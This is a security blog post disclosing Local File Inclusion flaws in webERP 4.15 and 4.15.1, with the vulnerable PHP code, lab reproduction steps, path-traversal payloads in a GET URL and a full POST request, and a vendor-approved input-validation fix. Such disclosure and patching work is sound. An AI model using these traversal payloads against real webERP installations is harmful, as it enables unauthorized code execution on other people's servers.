How the White-Box hacking works: webERP Local File Inclusion

In the previous post we described a couple of inoERP bugs and made a conclusion that inoERP software is too buggy for everyday usage. So we tried to find a better open-source alternative, and possibly save 600 dollars per user per month on Oracle Financials for somebody. Fortunately, we found that webERP still releases updates and has GNU General Public License (GPL) v2, so we decided to check it for easily reachable vulnerabilities.

Bug discovery

To discover the bug, we used “grep” binary to find each call to “include” or “require” function that also operates with any variables, and then reviewed the results manually.

 egrep '(include|require)(\ |\()(.*)(\$)' /var/www/html -ri

We had a look on webERP 4.15 and webERP 4.15.1.

WebERP v4.15 – Unauthenticated Local File Inclusion

In webERP 4.15, the code lines 22-25 of “ManualContents.php” file allow user to specify “Language” parameter. This leads to Local File Inclusion, at least in line 59. Also note line 32.

$Title = _('webERP Manual');
// Set the language to show the manual:
session_start();
$Language = $_SESSION['Language'];
if(isset($_GET['Language'])) {// Set an other language for manual.
        $Language = $_GET['Language'];
}
// Set the Cascading Style Sheet for the manual:
$ManualStyle = 'locale/' . $Language . '/Manual/style/manual.css';
if(!file_exists($ManualStyle)) {// If locale ccs not exist, use doc/Manual/style/manual.css. Each language can have its own css.
        $ManualStyle = 'doc/Manual/style/manual.css';
}
// Set the the outline of the webERP manual:
$ManualOutline = 'locale/' . $Language . '/Manual/ManualOutline.php';
if(!file_exists($ManualOutline)) {// If locale outline not exist, use doc/Manual/ManualOutline.php. Each language can have its own outline.
        $ManualOutline = 'doc/Manual/ManualOutline.php';
}

ob_start();

// Output the header part:
$ManualHeader = 'locale/' . $Language . '/Manual/ManualHeader.html';
if(file_exists($ManualHeader)) {// Use locale ManualHeader.html if exists. Each language can have its own page header.
        include($ManualHeader);
} else {// Default page header:
        echo '<!DOCTYPE html>
        <html>
        <head>
          <title>', $Title, '</title>
          <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
          <link rel="stylesheet" type="text/css" href="', $ManualStyle, '" />
        </head>
        <body lang="', str_replace('_', '-', substr($Language, 0, 5)), '">
                <div id="pagetitle">', $Title, '</div>
                <div class="right">
                        <a id="top"> </a><a class="minitext" href="', htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'), '">☜ ', _('Table of Contents'), '</a><br />
                        <a class="minitext" href="#bottom">⬇ ', _('Go to Bottom'), '</a>
                </div>';
}

include($ManualOutline);

For simplicity, we deployed an Ubuntu machine with webERP v4.15, and deployed an FTP service. Then we did the next:

  1. As an FTP user we created a directory and a file, /srv/ftp/upload/Manual/ManualContents.php, and put call to the phpinfo function.
  2. As a web user, we sent GET request with Language GET parameter:
    http://192.168.100.2:8080/webERP/ManualContents.php?Language=../../../../../../../../srv/ftp/upload

WebERP v4.15.1 – Authenticated Local File Inclusion

In webERP 4.15.1, the developers commented out the code lines that take the Language parameter from the user input in ManualContents.php. ManualContents.php is now accessible after the authorization only, but user can specify the Language parameter in POST request. Look at “includes/LanguageSetup.php”, lines 15-23.

If (isset($_POST['Language'])) {
	$_SESSION['Language'] = $_POST['Language'];
	$Language = $_POST['Language'];
} elseif (!isset($_SESSION['Language'])) {
	$_SESSION['Language'] = $DefaultLanguage;
	$Language = $DefaultLanguage;
} else {
	$Language = $_SESSION['Language'];
}
//Check users' locale format via their language
//Then pass this information to the js for number validation purpose

$Collect = array(
	'US'=>array('en_US.utf8','en_GB.utf8','ja_JP.utf8','hi_IN.utf8','mr_IN.utf8','sw_KE.utf8','tr_TR.utf8','vi_VN.utf8','zh_CN.utf8','zh_HK.utf8','zh_TW.utf8'),
	'IN'=>array('en_IN.utf8','hi_IN.utf8','mr_IN.utf8'),
	'EE'=>array('ar_EG.utf8','cz_CZ.utf8','fr_CA.utf8','fr_FR.utf8','hr_HR.utf8','pl_PL.utf8','ru_RU.utf8','sq_AL.utf8','sv_SE.utf8'),
	'FR'=>array('ar_EG.utf8','cz_CZ.utf8','fr_CA.utf8','fr_FR.utf8','hr_HR.utf8','pl_PL.utf8','ru_RU.utf8','sq_AL.utf8','sv_SE.utf8'),
	'GM'=>array('de_DE.utf8','el_GR.utf8','es_ES.utf8','fa_IR.utf8','id_ID.utf8','it_IT.utf8','ro_RO.utf8','lv_LV.utf8','nl_NL.utf8','pt_BR.utf8','pt_PT.utf8'));

foreach($Collect as $Key=>$Value) {
	if(in_array($Language,$Value)) {
		$Lang = $Key;
		$_SESSION['Lang'] = $Lang;
	}
}

So we deployed webERP v4.15.1 on the same virtual server, then did the next steps:

  1. Check that the file “/srv/ftp/upload/Manual/ManualContents.php” contains the right payload
  2. Authenticate as a regular webERP user with the default credentials
  3. Send a POST request to ManualContents.php, with Language body parameter.
  4. Navigate to ManualContents.php in a browser.

Request:

POST /ManualContents.php HTTP/1.1
Host: 192.168.100.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSIDwebERPteam=abumh3e3ak5ert1afcrpjkl02p
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

Language=../../../../../../../srv/ftp/upload

Recommendation

WebERP support team fixed these vulnerabilities and promised to release a new update on the previous week. So update the webERP application to the latest version as soon as it will be released.
But at the moment, Lyhin’s Lab recommends to change the code at includes/LanguageSetup.php, lines 15-23

If (isset($_POST['Language'])) {
	$_SESSION['Language'] = $_POST['Language'];
	$Language = $_POST['Language'];
} elseif (!isset($_SESSION['Language'])) {
	$_SESSION['Language'] = $DefaultLanguage;
	$Language = $DefaultLanguage;
} else {
	$Language = $_SESSION['Language'];
}

To:

if (isset($_POST['Language'])) {
	if (preg_match("/^([a-z]{2}\_[A-Z]{2})(\.utf8)$/", $_POST['Language'])) $_SESSION['Language'] = $_POST['Language'];
} else {
	$_SESSION['Language'] = $DefaultLanguage;
	$Language = $DefaultLanguage;
}
$Language = $_SESSION['Language'];

This change was approved by the webERP support team.

LL advises to all the researchers do not break real applications illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.